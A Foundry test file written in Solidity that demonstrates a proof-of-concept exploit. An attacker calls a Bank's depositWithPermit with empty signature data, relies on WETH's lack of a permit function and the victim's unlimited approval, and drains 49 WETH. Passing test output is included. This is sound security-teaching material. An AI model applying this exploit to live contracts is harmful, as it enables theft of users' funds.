-
Notifications
You must be signed in to change notification settings - Fork 0
/
WETHPermitTest.t.sol
77 lines (64 loc) · 2.36 KB
/
WETHPermitTest.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import { Test, console } from "forge-std/Test.sol";
import { Bank, WETH } from "../src/WETHPermit.sol";
contract WETHPermitTest is Test {
Bank bank;
WETH weth;
address victim;
address attacker;
function setUp() public {
weth = new WETH();
bank = new Bank(address(weth));
victim = vm.addr(1);
attacker = vm.addr(2);
vm.deal(victim, 50 ether);
vm.prank(victim);
weth.deposit{ value: 50 ether }();
}
function testAttackerCanStealWETH() public {
setUp();
// victim gives infinite approval to the bank and deposits 1 WETH
vm.startPrank(victim);
weth.approve(address(bank), type(uint256).max);
bank.deposit(1e18);
vm.stopPrank();
console.log(
"[PRE-ATTACK]: WETH balance of victim: ",
weth.balanceOf(victim)
);
console.log(
"[PRE-ATTACK]: WETH balance of attacker: ",
weth.balanceOf(attacker)
);
uint256 balance = weth.balanceOf(victim);
vm.startPrank(attacker);
// attacker uses victim's WETH allowance to credit himself all the remaining WETH from the victim's wallet (49 WETH left)
bank.depositWithPermit(victim, attacker, balance, 0, 0, "", "");
uint256 amountStolen = bank.getBalance(attacker);
bank.withdraw(amountStolen);
vm.stopPrank();
console.log(
"[POST-ATTACK]: WETH balance of victim: ",
weth.balanceOf(victim)
);
console.log(
"[POST-ATTACK]: WETH balance of attacker: ",
weth.balanceOf(attacker)
);
assertEq(amountStolen, 49 ether);
assertEq(weth.balanceOf(victim), 0); // victim has been stolen all his weth because of the approval
assertEq(weth.balanceOf(attacker), 49 ether);
}
}
// forge test --via-ir --mt testAttackerCanStealWETH -vv
/*
Ran 1 test for test/WETHPermitTest.t.sol:WETHPermitTest
[PASS] testAttackerCanStealWETH() (gas: 959697)
Logs:
[PRE-ATTACK]: WETH balance of victim: 49000000000000000000
[PRE-ATTACK]: WETH balance of attacker: 0
[POST-ATTACK]: WETH balance of victim: 0
[POST-ATTACK]: WETH balance of attacker: 49000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.71ms (375.33µs CPU time)
*/